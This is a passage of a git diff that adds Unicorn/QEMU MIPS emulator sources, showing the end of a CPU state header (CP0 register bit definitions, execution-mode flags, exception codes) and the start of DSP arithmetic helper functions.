CP0_SRSConf0; +#define CP0SRSC0_M 31 +#define CP0SRSC0_SRS3 20 +#define CP0SRSC0_SRS2 10 +#define CP0SRSC0_SRS1 0 + int32_t CP0_SRSConf1_rw_bitmask; + int32_t CP0_SRSConf1; +#define CP0SRSC1_M 31 +#define CP0SRSC1_SRS6 20 +#define CP0SRSC1_SRS5 10 +#define CP0SRSC1_SRS4 0 + int32_t CP0_SRSConf2_rw_bitmask; + int32_t CP0_SRSConf2; +#define CP0SRSC2_M 31 +#define CP0SRSC2_SRS9 20 +#define CP0SRSC2_SRS8 10 +#define CP0SRSC2_SRS7 0 + int32_t CP0_SRSConf3_rw_bitmask; + int32_t CP0_SRSConf3; +#define CP0SRSC3_M 31 +#define CP0SRSC3_SRS12 20 +#define CP0SRSC3_SRS11 10 +#define CP0SRSC3_SRS10 0 + int32_t CP0_SRSConf4_rw_bitmask; + int32_t CP0_SRSConf4; +#define CP0SRSC4_SRS15 20 +#define CP0SRSC4_SRS14 10 +#define CP0SRSC4_SRS13 0 + int32_t CP0_HWREna; + target_ulong CP0_BadVAddr; + uint32_t CP0_BadInstr; + uint32_t CP0_BadInstrP; + int32_t CP0_Count; + target_ulong CP0_EntryHi; +#define CP0EnHi_EHINV 10 + int32_t CP0_Compare; + int32_t CP0_Status; +#define CP0St_CU3 31 +#define CP0St_CU2 30 +#define CP0St_CU1 29 +#define CP0St_CU0 28 +#define CP0St_RP 27 +#define CP0St_FR 26 +#define CP0St_RE 25 +#define CP0St_MX 24 +#define CP0St_PX 23 +#define CP0St_BEV 22 +#define CP0St_TS 21 +#define CP0St_SR 20 +#define CP0St_NMI 19 +#define CP0St_IM 8 +#define CP0St_KX 7 +#define CP0St_SX 6 +#define CP0St_UX 5 +#define CP0St_KSU 3 +#define CP0St_ERL 2 +#define CP0St_EXL 1 +#define CP0St_IE 0 + int32_t CP0_IntCtl; +#define CP0IntCtl_IPTI 29 +#define CP0IntCtl_IPPC1 26 +#define CP0IntCtl_VS 5 + int32_t CP0_SRSCtl; +#define CP0SRSCtl_HSS 26 +#define CP0SRSCtl_EICSS 18 +#define CP0SRSCtl_ESS 12 +#define CP0SRSCtl_PSS 6 +#define CP0SRSCtl_CSS 0 + int32_t CP0_SRSMap; +#define CP0SRSMap_SSV7 28 +#define CP0SRSMap_SSV6 24 +#define CP0SRSMap_SSV5 20 +#define CP0SRSMap_SSV4 16 +#define CP0SRSMap_SSV3 12 +#define CP0SRSMap_SSV2 8 +#define CP0SRSMap_SSV1 4 +#define CP0SRSMap_SSV0 0 + int32_t CP0_Cause; +#define CP0Ca_BD 31 +#define CP0Ca_TI 30 +#define CP0Ca_CE 28 +#define CP0Ca_DC 27 +#define CP0Ca_PCI 26 +#define CP0Ca_IV 23 +#define CP0Ca_WP 22 +#define CP0Ca_IP 8 +#define CP0Ca_IP_mask 0x0000FF00 +#define CP0Ca_EC 2 + target_ulong CP0_EPC; + int32_t CP0_PRid; + int32_t CP0_EBase; + int32_t CP0_Config0; +#define CP0C0_M 31 +#define CP0C0_K23 28 +#define CP0C0_KU 25 +#define CP0C0_MDU 20 +#define CP0C0_MM 17 +#define CP0C0_BM 16 +#define CP0C0_BE 15 +#define CP0C0_AT 13 +#define CP0C0_AR 10 +#define CP0C0_MT 7 +#define CP0C0_VI 3 +#define CP0C0_K0 0 + int32_t CP0_Config1; +#define CP0C1_M 31 +#define CP0C1_MMU 25 +#define CP0C1_IS 22 +#define CP0C1_IL 19 +#define CP0C1_IA 16 +#define CP0C1_DS 13 +#define CP0C1_DL 10 +#define CP0C1_DA 7 +#define CP0C1_C2 6 +#define CP0C1_MD 5 +#define CP0C1_PC 4 +#define CP0C1_WR 3 +#define CP0C1_CA 2 +#define CP0C1_EP 1 +#define CP0C1_FP 0 + int32_t CP0_Config2; +#define CP0C2_M 31 +#define CP0C2_TU 28 +#define CP0C2_TS 24 +#define CP0C2_TL 20 +#define CP0C2_TA 16 +#define CP0C2_SU 12 +#define CP0C2_SS 8 +#define CP0C2_SL 4 +#define CP0C2_SA 0 + int32_t CP0_Config3; +#define CP0C3_M 31 +#define CP0C3_BPG 30 +#define CP0C3_CMCGR 29 +#define CP0C3_MSAP 28 +#define CP0C3_BP 27 +#define CP0C3_BI 26 +#define CP0C3_IPLW 21 +#define CP0C3_MMAR 18 +#define CP0C3_MCU 17 +#define CP0C3_ISA_ON_EXC 16 +#define CP0C3_ISA 14 +#define CP0C3_ULRI 13 +#define CP0C3_RXI 12 +#define CP0C3_DSP2P 11 +#define CP0C3_DSPP 10 +#define CP0C3_LPA 7 +#define CP0C3_VEIC 6 +#define CP0C3_VInt 5 +#define CP0C3_SP 4 +#define CP0C3_CDMM 3 +#define CP0C3_MT 2 +#define CP0C3_SM 1 +#define CP0C3_TL 0 + uint32_t CP0_Config4; + uint32_t CP0_Config4_rw_bitmask; +#define CP0C4_M 31 +#define CP0C4_IE 29 +#define CP0C4_KScrExist 16 +#define CP0C4_MMUExtDef 14 +#define CP0C4_FTLBPageSize 8 +#define CP0C4_FTLBWays 4 +#define CP0C4_FTLBSets 0 +#define CP0C4_MMUSizeExt 0 + uint32_t CP0_Config5; + uint32_t CP0_Config5_rw_bitmask; +#define CP0C5_M 31 +#define CP0C5_K 30 +#define CP0C5_CV 29 +#define CP0C5_EVA 28 +#define CP0C5_MSAEn 27 +#define CP0C5_SBRI 6 +#define CP0C5_UFR 2 +#define CP0C5_NFExists 0 + int32_t CP0_Config6; + int32_t CP0_Config7; + /* XXX: Maybe make LLAddr per-TC? */ + target_ulong lladdr; + target_ulong llval; + target_ulong llnewval; + target_ulong llreg; + target_ulong CP0_LLAddr_rw_bitmask; + int CP0_LLAddr_shift; + target_ulong CP0_WatchLo[8]; + int32_t CP0_WatchHi[8]; + target_ulong CP0_XContext; + int32_t CP0_Framemask; + int32_t CP0_Debug; +#define CP0DB_DBD 31 +#define CP0DB_DM 30 +#define CP0DB_LSNM 28 +#define CP0DB_Doze 27 +#define CP0DB_Halt 26 +#define CP0DB_CNT 25 +#define CP0DB_IBEP 24 +#define CP0DB_DBEP 21 +#define CP0DB_IEXI 20 +#define CP0DB_VER 15 +#define CP0DB_DEC 10 +#define CP0DB_SSt 8 +#define CP0DB_DINT 5 +#define CP0DB_DIB 4 +#define CP0DB_DDBS 3 +#define CP0DB_DDBL 2 +#define CP0DB_DBp 1 +#define CP0DB_DSS 0 + target_ulong CP0_DEPC; + int32_t CP0_Performance0; + int32_t CP0_TagLo; + int32_t CP0_DataLo; + int32_t CP0_TagHi; + int32_t CP0_DataHi; + target_ulong CP0_ErrorEPC; + int32_t CP0_DESAVE; + /* We waste some space so we can handle shadow registers like TCs. */ + TCState tcs[MIPS_SHADOW_SET_MAX]; + CPUMIPSFPUContext fpus[MIPS_FPU_MAX]; + /* QEMU */ + int error_code; +#define EXCP_TLB_NOMATCH 0x1 +#define EXCP_INST_NOTAVAIL 0x2 /* No valid instruction word for BadInstr */ + uint32_t hflags; /* CPU State */ + /* TMASK defines different execution modes */ +#define MIPS_HFLAG_TMASK 0x15807FF +#define MIPS_HFLAG_MODE 0x00007 /* execution modes */ + /* The KSU flags must be the lowest bits in hflags. The flag order + must be the same as defined for CP0 Status. This allows to use + the bits as the value of mmu_idx. */ +#define MIPS_HFLAG_KSU 0x00003 /* kernel/supervisor/user mode mask */ +#define MIPS_HFLAG_UM 0x00002 /* user mode flag */ +#define MIPS_HFLAG_SM 0x00001 /* supervisor mode flag */ +#define MIPS_HFLAG_KM 0x00000 /* kernel mode flag */ +#define MIPS_HFLAG_DM 0x00004 /* Debug mode */ +#define MIPS_HFLAG_64 0x00008 /* 64-bit instructions enabled */ +#define MIPS_HFLAG_CP0 0x00010 /* CP0 enabled */ +#define MIPS_HFLAG_FPU 0x00020 /* FPU enabled */ +#define MIPS_HFLAG_F64 0x00040 /* 64-bit FPU enabled */ + /* True if the MIPS IV COP1X instructions can be used. This also + controls the non-COP1X instructions RECIP.S, RECIP.D, RSQRT.S + and RSQRT.D. */ +#define MIPS_HFLAG_COP1X 0x00080 /* COP1X instructions enabled */ +#define MIPS_HFLAG_RE 0x00100 /* Reversed endianness */ +#define MIPS_HFLAG_AWRAP 0x00200 /* 32-bit compatibility address wrapping */ +#define MIPS_HFLAG_M16 0x00400 /* MIPS16 mode flag */ +#define MIPS_HFLAG_M16_SHIFT 10 + /* If translation is interrupted between the branch instruction and + * the delay slot, record what type of branch it is so that we can + * resume translation properly. It might be possible to reduce + * this from three bits to two. */ +#define MIPS_HFLAG_BMASK_BASE 0x803800 +#define MIPS_HFLAG_B 0x00800 /* Unconditional branch */ +#define MIPS_HFLAG_BC 0x01000 /* Conditional branch */ +#define MIPS_HFLAG_BL 0x01800 /* Likely branch */ +#define MIPS_HFLAG_BR 0x02000 /* branch to register (can't link TB) */ + /* Extra flags about the current pending branch. */ +#define MIPS_HFLAG_BMASK_EXT 0x7C000 +#define MIPS_HFLAG_B16 0x04000 /* branch instruction was 16 bits */ +#define MIPS_HFLAG_BDS16 0x08000 /* branch requires 16-bit delay slot */ +#define MIPS_HFLAG_BDS32 0x10000 /* branch requires 32-bit delay slot */ +#define MIPS_HFLAG_BDS_STRICT 0x20000 /* Strict delay slot size */ +#define MIPS_HFLAG_BX 0x40000 /* branch exchanges execution mode */ +#define MIPS_HFLAG_BMASK (MIPS_HFLAG_BMASK_BASE | MIPS_HFLAG_BMASK_EXT) + /* MIPS DSP resources access. */ +#define MIPS_HFLAG_DSP 0x080000 /* Enable access to MIPS DSP resources. */ +#define MIPS_HFLAG_DSPR2 0x100000 /* Enable access to MIPS DSPR2 resources. */ + /* Extra flag about HWREna register. */ +#define MIPS_HFLAG_HWRENA_ULR 0x200000 /* ULR bit from HWREna is set. */ +#define MIPS_HFLAG_SBRI 0x400000 /* R6 SDBBP causes RI excpt. in user mode */ +#define MIPS_HFLAG_FBNSLOT 0x800000 /* Forbidden slot */ +#define MIPS_HFLAG_MSA 0x1000000 + target_ulong btarget; /* Jump / branch target */ + target_ulong bcond; /* Branch condition (if needed) */ + + int SYNCI_Step; /* Address step size for SYNCI */ + int CCRes; /* Cycle count resolution/divisor */ + uint32_t CP0_Status_rw_bitmask; /* Read/write bits in CP0_Status */ + uint32_t CP0_TCStatus_rw_bitmask; /* Read/write bits in CP0_TCStatus */ + int insn_flags; /* Supported instruction set */ + + CPU_COMMON + + /* Fields from here on are preserved across CPU reset. */ + CPUMIPSMVPContext *mvp; +#if !defined(CONFIG_USER_ONLY) + CPUMIPSTLBContext *tlb; +#endif + + const mips_def_t *cpu_model; + //void *irq[8]; + //QEMUTimer *timer; /* Internal timer */ + + // Unicorn engine + struct uc_struct *uc; +}; + +#include "cpu-qom.h" + +#if !defined(CONFIG_USER_ONLY) +int no_mmu_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type); +int fixed_mmu_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type); +int r4k_map_address (CPUMIPSState *env, hwaddr *physical, int *prot, + target_ulong address, int rw, int access_type); +void r4k_helper_tlbwi(CPUMIPSState *env); +void r4k_helper_tlbwr(CPUMIPSState *env); +void r4k_helper_tlbp(CPUMIPSState *env); +void r4k_helper_tlbr(CPUMIPSState *env); +void r4k_helper_tlbinv(CPUMIPSState *env); +void r4k_helper_tlbinvf(CPUMIPSState *env); + +void mips_cpu_unassigned_access(CPUState *cpu, hwaddr addr, + bool is_write, bool is_exec, int unused, + unsigned size); +#endif + +void mips_cpu_list (FILE *f, fprintf_function cpu_fprintf); + +#define cpu_exec cpu_mips_exec +#define cpu_gen_code cpu_mips_gen_code +#define cpu_signal_handler cpu_mips_signal_handler +#define cpu_list mips_cpu_list + +extern void cpu_wrdsp(uint32_t rs, uint32_t mask_num, CPUMIPSState *env); +extern uint32_t cpu_rddsp(uint32_t mask_num, CPUMIPSState *env); + +#define CPU_SAVE_VERSION 5 + +/* MMU modes definitions. We carefully match the indices with our + hflags layout. */ +#define MMU_MODE0_SUFFIX _kernel +#define MMU_MODE1_SUFFIX _super +#define MMU_MODE2_SUFFIX _user +#define MMU_USER_IDX 2 +static inline int cpu_mmu_index (CPUMIPSState *env) +{ + return env->hflags & MIPS_HFLAG_KSU; +} + +static inline int cpu_mips_hw_interrupts_pending(CPUMIPSState *env) +{ + int32_t pending; + int32_t status; + int r; + + if (!(env->CP0_Status & (1 << CP0St_IE)) || + (env->CP0_Status & (1 << CP0St_EXL)) || + (env->CP0_Status & (1 << CP0St_ERL)) || + /* Note that the TCStatus IXMT field is initialized to zero, + and only MT capable cores can set it to one. So we don't + need to check for MT capabilities here. */ + (env->active_tc.CP0_TCStatus & (1 << CP0TCSt_IXMT)) || + (env->hflags & MIPS_HFLAG_DM)) { + /* Interrupts are disabled */ + return 0; + } + + pending = env->CP0_Cause & CP0Ca_IP_mask; + status = env->CP0_Status & CP0Ca_IP_mask; + + if (env->CP0_Config3 & (1 << CP0C3_VEIC)) { + /* A MIPS configured with a vectorizing external interrupt controller + will feed a vector into the Cause pending lines. The core treats + the status lines as a vector level, not as indiviual masks. */ + r = pending > status; + } else { + /* A MIPS configured with compatibility or VInt (Vectored Interrupts) + treats the pending lines as individual interrupt lines, the status + lines are individual masks. */ + r = pending & status; + } + return r; +} + +#include "exec/cpu-all.h" + +/* Memory access type : + * may be needed for precise access rights control and precise exceptions. + */ +enum { + /* 1 bit to define user level / supervisor access */ + ACCESS_USER = 0x00, + ACCESS_SUPER = 0x01, + /* 1 bit to indicate direction */ + ACCESS_STORE = 0x02, + /* Type of instruction that generated the access */ + ACCESS_CODE = 0x10, /* Code fetch access */ + ACCESS_INT = 0x20, /* Integer load/store access */ + ACCESS_FLOAT = 0x30, /* floating point load/store access */ +}; + +/* Exceptions */ +enum { + EXCP_NONE = -1, + EXCP_RESET = 0, + EXCP_SRESET, + EXCP_DSS, + EXCP_DINT, + EXCP_DDBL, + EXCP_DDBS, + EXCP_NMI, + EXCP_MCHECK, + EXCP_EXT_INTERRUPT, /* 8 */ + EXCP_DFWATCH, + EXCP_DIB, + EXCP_IWATCH, + EXCP_AdEL, + EXCP_AdES, + EXCP_TLBF, + EXCP_IBE, + EXCP_DBp, /* 16 */ + EXCP_SYSCALL, + EXCP_BREAK, + EXCP_CpU, + EXCP_RI, + EXCP_OVERFLOW, + EXCP_TRAP, + EXCP_FPE, + EXCP_DWATCH, /* 24 */ + EXCP_LTLBL, + EXCP_TLBL, + EXCP_TLBS, + EXCP_DBE, + EXCP_THREAD, + EXCP_MDMX, + EXCP_C2E, + EXCP_CACHE, /* 32 */ + EXCP_DSPDIS, + EXCP_MSADIS, + EXCP_MSAFPE, + EXCP_TLBXI, + EXCP_TLBRI, + + EXCP_LAST = EXCP_TLBRI, +}; +/* Dummy exception for conditional stores. */ +#define EXCP_SC 0x100 + +/* + * This is an interrnally generated WAKE request line. + * It is driven by the CPU itself. Raised when the MT + * block wants to wake a VPE from an inactive state and + * cleared when VPE goes from active to inactive. + */ +#define CPU_INTERRUPT_WAKE CPU_INTERRUPT_TGT_INT_0 + +int cpu_mips_exec(struct uc_struct *uc, CPUMIPSState *s); +void mips_tcg_init(struct uc_struct *uc); +MIPSCPU *cpu_mips_init(struct uc_struct *uc, const char *cpu_model); +int cpu_mips_signal_handler(int host_signum, void *pinfo, void *puc); + +/* TODO QOM'ify CPU reset and remove */ +void cpu_state_reset(CPUMIPSState *s); + +/* mips_timer.c */ +uint32_t cpu_mips_get_random (CPUMIPSState *env); +uint32_t cpu_mips_get_count (CPUMIPSState *env); +void cpu_mips_store_count (CPUMIPSState *env, uint32_t value); +void cpu_mips_store_compare (CPUMIPSState *env, uint32_t value); +void cpu_mips_start_count(CPUMIPSState *env); +void cpu_mips_stop_count(CPUMIPSState *env); + +/* mips_int.c */ +void cpu_mips_soft_irq(CPUMIPSState *env, int irq, int level); + +/* helper.c */ +int mips_cpu_handle_mmu_fault(CPUState *cpu, vaddr address, int rw, + int mmu_idx); +#if !defined(CONFIG_USER_ONLY) +void r4k_invalidate_tlb (CPUMIPSState *env, int idx, int use_extra); +hwaddr cpu_mips_translate_address (CPUMIPSState *env, target_ulong address, + int rw); +#endif +target_ulong exception_resume_pc (CPUMIPSState *env); + +/* op_helper.c */ +extern unsigned int ieee_rm[]; +int ieee_ex_to_mips(int xcpt); + +static inline void cpu_get_tb_cpu_state(CPUMIPSState *env, target_ulong *pc, + target_ulong *cs_base, int *flags) +{ + *pc = env->active_tc.PC; + *cs_base = 0; + *flags = env->hflags & (MIPS_HFLAG_TMASK | MIPS_HFLAG_BMASK | + MIPS_HFLAG_HWRENA_ULR); +} + +static inline int mips_vpe_active(CPUMIPSState *env) +{ + int active = 1; + + /* Check that the VPE is enabled. */ + if (!(env->mvp->CP0_MVPControl & (1 << CP0MVPCo_EVP))) { + active = 0; + } + /* Check that the VPE is activated. */ + if (!(env->CP0_VPEConf0 & (1 << CP0VPEC0_VPA))) { + active = 0; + } + + /* Now verify that there are active thread contexts in the VPE. + + This assumes the CPU model will internally reschedule threads + if the active one goes to sleep. If there are no threads available + the active one will be in a sleeping state, and we can turn off + the entire VPE. */ + if (!(env->active_tc.CP0_TCStatus & (1 << CP0TCSt_A))) { + /* TC is not activated. */ + active = 0; + } + if (env->active_tc.CP0_TCHalt & 1) { + /* TC is in halt state. */ + active = 0; + } + + return active; +} + +#include "exec/exec-all.h" + +static inline void compute_hflags(CPUMIPSState *env) +{ + env->hflags &= ~(MIPS_HFLAG_COP1X | MIPS_HFLAG_64 | MIPS_HFLAG_CP0 | + MIPS_HFLAG_F64 | MIPS_HFLAG_FPU | MIPS_HFLAG_KSU | + MIPS_HFLAG_AWRAP | MIPS_HFLAG_DSP | MIPS_HFLAG_DSPR2 | + MIPS_HFLAG_SBRI | MIPS_HFLAG_MSA); + if (!(env->CP0_Status & (1 << CP0St_EXL)) && + !(env->CP0_Status & (1 << CP0St_ERL)) && + !(env->hflags & MIPS_HFLAG_DM)) { + env->hflags |= (env->CP0_Status >> CP0St_KSU) & MIPS_HFLAG_KSU; + } +#if defined(TARGET_MIPS64) + if (((env->hflags & MIPS_HFLAG_KSU) != MIPS_HFLAG_UM) || + (env->CP0_Status & (1 << CP0St_PX)) || + (env->CP0_Status & (1 << CP0St_UX))) { + env->hflags |= MIPS_HFLAG_64; + } + + if (((env->hflags & MIPS_HFLAG_KSU) == MIPS_HFLAG_UM) && + !(env->CP0_Status & (1 << CP0St_UX))) { + env->hflags |= MIPS_HFLAG_AWRAP; + } else if (env->insn_flags & ISA_MIPS32R6) { + /* Address wrapping for Supervisor and Kernel is specified in R6 */ + if ((((env->hflags & MIPS_HFLAG_KSU) == MIPS_HFLAG_SM) && + !(env->CP0_Status & (1 << CP0St_SX))) || + (((env->hflags & MIPS_HFLAG_KSU) == MIPS_HFLAG_KM) && + !(env->CP0_Status & (1 << CP0St_KX)))) { + env->hflags |= MIPS_HFLAG_AWRAP; + } + } +#endif + if (((env->CP0_Status & (1 << CP0St_CU0)) && + !(env->insn_flags & ISA_MIPS32R6)) || + !(env->hflags & MIPS_HFLAG_KSU)) { + env->hflags |= MIPS_HFLAG_CP0; + } + if (env->CP0_Status & (1 << CP0St_CU1)) { + env->hflags |= MIPS_HFLAG_FPU; + } + if (env->CP0_Status & (1 << CP0St_FR)) { + env->hflags |= MIPS_HFLAG_F64; + } + if (((env->hflags & MIPS_HFLAG_KSU) != MIPS_HFLAG_KM) && + (env->CP0_Config5 & (1 << CP0C5_SBRI))) { + env->hflags |= MIPS_HFLAG_SBRI; + } + if (env->insn_flags & ASE_DSPR2) { + /* Enables access MIPS DSP resources, now our cpu is DSP ASER2, + so enable to access DSPR2 resources. */ + if (env->CP0_Status & (1 << CP0St_MX)) { + env->hflags |= MIPS_HFLAG_DSP | MIPS_HFLAG_DSPR2; + } + + } else if (env->insn_flags & ASE_DSP) { + /* Enables access MIPS DSP resources, now our cpu is DSP ASE, + so enable to access DSP resources. */ + if (env->CP0_Status & (1 << CP0St_MX)) { + env->hflags |= MIPS_HFLAG_DSP; + } + + } + if (env->insn_flags & ISA_MIPS32R2) { + if (env->active_fpu.fcr0 & (1 << FCR0_F64)) { + env->hflags |= MIPS_HFLAG_COP1X; + } + } else if (env->insn_flags & ISA_MIPS32) { + if (env->hflags & MIPS_HFLAG_64) { + env->hflags |= MIPS_HFLAG_COP1X; + } + } else if (env->insn_flags & ISA_MIPS4) { + /* All supported MIPS IV CPUs use the XX (CU3) to enable + and disable the MIPS IV extensions to the MIPS III ISA. + Some other MIPS IV CPUs ignore the bit, so the check here + would be too restrictive for them. */ + if (env->CP0_Status & (1U << CP0St_CU3)) { + env->hflags |= MIPS_HFLAG_COP1X; + } + } + if (env->insn_flags & ASE_MSA) { + if (env->CP0_Config5 & (1 << CP0C5_MSAEn)) { + env->hflags |= MIPS_HFLAG_MSA; + } + } +} + +#endif /* !defined (__MIPS_CPU_H__) */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/dsp_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/dsp_helper.c new file mode 100644 index 0000000..46528de --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/dsp_helper.c @@ -0,0 +1,3761 @@ +/* + * MIPS ASE DSP Instruction emulation helpers for QEMU. + * + * Copyright (c) 2012 Jia Liu + * Dongxue Zhang + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" +#include "qemu/bitops.h" + +/* As the byte ordering doesn't matter, i.e. all columns are treated + identically, these unions can be used directly. */ +typedef union { + uint8_t ub[4]; + int8_t sb[4]; + uint16_t uh[2]; + int16_t sh[2]; + uint32_t uw[1]; + int32_t sw[1]; +} DSP32Value; + +typedef union { + uint8_t ub[8]; + int8_t sb[8]; + uint16_t uh[4]; + int16_t sh[4]; + uint32_t uw[2]; + int32_t sw[2]; + uint64_t ul[1]; + int64_t sl[1]; +} DSP64Value; + +/*** MIPS DSP internal functions begin ***/ +#define MIPSDSP_ABS(x) (((x) >= 0) ? x : -x) +#define MIPSDSP_OVERFLOW_ADD(a, b, c, d) (~(a ^ b) & (a ^ c) & d) +#define MIPSDSP_OVERFLOW_SUB(a, b, c, d) ((a ^ b) & (a ^ c) & d) + +static inline void set_DSPControl_overflow_flag(uint32_t flag, int position, + CPUMIPSState *env) +{ + env->active_tc.DSPControl |= (target_ulong)flag << position; +} + +static inline void set_DSPControl_carryflag(bool flag, CPUMIPSState *env) +{ + env->active_tc.DSPControl &= ~(1 << 13); + env->active_tc.DSPControl |= flag << 13; +} + +static inline uint32_t get_DSPControl_carryflag(CPUMIPSState *env) +{ + return (env->active_tc.DSPControl >> 13) & 0x01; +} + +static inline void set_DSPControl_24(uint32_t flag, int len, CPUMIPSState *env) +{ + uint32_t filter; + + filter = ((0x01 << len) - 1) << 24; + filter = ~filter; + + env->active_tc.DSPControl &= filter; + env->active_tc.DSPControl |= (target_ulong)flag << 24; +} + +static inline void set_DSPControl_pos(uint32_t pos, CPUMIPSState *env) +{ + target_ulong dspc; + + dspc = env->active_tc.DSPControl; +#ifndef TARGET_MIPS64 + dspc = dspc & 0xFFFFFFC0; + dspc |= (pos & 0x3F); +#else + dspc = dspc & 0xFFFFFF80; + dspc |= (pos & 0x7F); +#endif + env->active_tc.DSPControl = dspc; +} + +static inline uint32_t get_DSPControl_pos(CPUMIPSState *env) +{ + target_ulong dspc; + uint32_t pos; + + dspc = env->active_tc.DSPControl; + +#ifndef TARGET_MIPS64 + pos = dspc & 0x3F; +#else + pos = dspc & 0x7F; +#endif + + return pos; +} + +static inline void set_DSPControl_efi(uint32_t flag, CPUMIPSState *env) +{ + env->active_tc.DSPControl &= 0xFFFFBFFF; + env->active_tc.DSPControl |= (target_ulong)flag << 14; +} + +#define DO_MIPS_SAT_ABS(size) \ +static inline int##size##_t mipsdsp_sat_abs##size(int##size##_t a, \ + CPUMIPSState *env) \ +{ \ + if (a == INT##size##_MIN) { \ + set_DSPControl_overflow_flag(1, 20, env); \ + return INT##size##_MAX; \ + } else { \ + return MIPSDSP_ABS(a); \ + } \ +} +DO_MIPS_SAT_ABS(8) +DO_MIPS_SAT_ABS(16) +DO_MIPS_SAT_ABS(32) +#undef DO_MIPS_SAT_ABS + +/* get sum value */ +static inline int16_t mipsdsp_add_i16(int16_t a, int16_t b, CPUMIPSState *env) +{ + int16_t tempI; + + tempI = a + b; + + if (MIPSDSP_OVERFLOW_ADD(a, b, tempI, 0x8000)) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return tempI; +} + +static inline int16_t mipsdsp_sat_add_i16(int16_t a, int16_t b, + CPUMIPSState *env) +{ + int16_t tempS; + + tempS = a + b; + + if (MIPSDSP_OVERFLOW_ADD(a, b, tempS, 0x8000)) { + if (a > 0) { + tempS = 0x7FFF; + } else { + tempS = 0x8000; + } + set_DSPControl_overflow_flag(1, 20, env); + } + + return tempS; +} + +static inline int32_t mipsdsp_sat_add_i32(int32_t a, int32_t b, + CPUMIPSState *env) +{ + int32_t tempI; + + tempI = a + b; + + if (MIPSDSP_OVERFLOW_ADD(a, b, tempI, 0x80000000)) { + if (a > 0) { + tempI = 0x7FFFFFFF; + } else { + tempI = 0x80000000; + } + set_DSPControl_overflow_flag(1, 20, env); + } + + return tempI; +} + +static inline uint8_t mipsdsp_add_u8(uint8_t a, uint8_t b, CPUMIPSState *env) +{ + uint16_t temp; + + temp = (uint16_t)a + (uint16_t)b; + + if (temp & 0x0100) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0xFF; +} + +static inline uint16_t mipsdsp_add_u16(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + uint32_t temp; + + temp = (uint32_t)a + (uint32_t)b; + + if (temp & 0x00010000) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0xFFFF; +} + +static inline uint8_t mipsdsp_sat_add_u8(uint8_t a, uint8_t b, + CPUMIPSState *env) +{ + uint8_t result; + uint16_t temp; + + temp = (uint16_t)a + (uint16_t)b; + result = temp & 0xFF; + + if (0x0100 & temp) { + result = 0xFF; + set_DSPControl_overflow_flag(1, 20, env); + } + + return result; +} + +static inline uint16_t mipsdsp_sat_add_u16(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + uint16_t result; + uint32_t temp; + + temp = (uint32_t)a + (uint32_t)b; + result = temp & 0xFFFF; + + if (0x00010000 & temp) { + result = 0xFFFF; + set_DSPControl_overflow_flag(1, 20, env); + } + + return result; +} + +static inline int32_t mipsdsp_sat32_acc_q31(int32_t acc, int32_t a, + CPUMIPSState *env) +{ + int64_t temp; + int32_t temp32, temp31, result; + int64_t temp_sum; + +#ifndef TARGET_MIPS64 + temp = ((uint64_t)env->active_tc.HI[acc] << 32) | + (uint64_t)env->active_tc.LO[acc]; +#else + temp = (uint64_t)env->active_tc.LO[acc]; +#endif + + temp_sum = (int64_t)a + temp; + + temp32 = (temp_sum >> 32) & 0x01; + temp31 = (temp_sum >> 31) & 0x01; + result = temp_sum & 0xFFFFFFFF; + + if (temp32 != temp31) { + if (temp32 == 0) { + result = 0x7FFFFFFF; + } else { + result = 0x80000000; + } + set_DSPControl_overflow_flag(1, 16 + acc, env); + } + + return result; +} + +#ifdef TARGET_MIPS64 +/* a[0] is LO, a[1] is HI. */ +static inline void mipsdsp_sat64_acc_add_q63(int64_t *ret, + int32_t ac, + int64_t *a, + CPUMIPSState *env) +{ + bool temp64; + + ret[0] = env->active_tc.LO[ac] + a[0]; + ret[1] = env->active_tc.HI[ac] + a[1]; + + if (((uint64_t)ret[0] < (uint64_t)env->active_tc.LO[ac]) && + ((uint64_t)ret[0] < (uint64_t)a[0])) { + ret[1] += 1; + } + temp64 = ret[1] & 1; + if (temp64 != ((ret[0] >> 63) & 0x01)) { + if (temp64) { + ret[0] = (0x01ull << 63); + ret[1] = ~0ull; + } else { + ret[0] = (0x01ull << 63) - 1; + ret[1] = 0x00; + } + set_DSPControl_overflow_flag(1, 16 + ac, env); + } +} + +static inline void mipsdsp_sat64_acc_sub_q63(int64_t *ret, + int32_t ac, + int64_t *a, + CPUMIPSState *env) +{ + bool temp64; + + ret[0] = env->active_tc.LO[ac] - a[0]; + ret[1] = env->active_tc.HI[ac] - a[1]; + + if ((uint64_t)ret[0] > (uint64_t)env->active_tc.LO[ac]) { + ret[1] -= 1; + } + temp64 = ret[1] & 1; + if (temp64 != ((ret[0] >> 63) & 0x01)) { + if (temp64) { + ret[0] = (0x01ull << 63); + ret[1] = ~0ull; + } else { + ret[0] = (0x01ull << 63) - 1; + ret[1] = 0x00; + } + set_DSPControl_overflow_flag(1, 16 + ac, env); + } +} +#endif + +static inline int32_t mipsdsp_mul_i16_i16(int16_t a, int16_t b, + CPUMIPSState *env) +{ + int32_t temp; + + temp = (int32_t)a * (int32_t)b; + + if ((temp > (int)0x7FFF) || (temp < (int)0xFFFF8000)) { + set_DSPControl_overflow_flag(1, 21, env); + } + temp &= 0x0000FFFF; + + return temp; +} + +static inline int32_t mipsdsp_mul_u16_u16(int32_t a, int32_t b) +{ + return a * b; +} + +#ifdef TARGET_MIPS64 +static inline int32_t mipsdsp_mul_i32_i32(int32_t a, int32_t b) +{ + return a * b; +} +#endif + +static inline int32_t mipsdsp_sat16_mul_i16_i16(int16_t a, int16_t b, + CPUMIPSState *env) 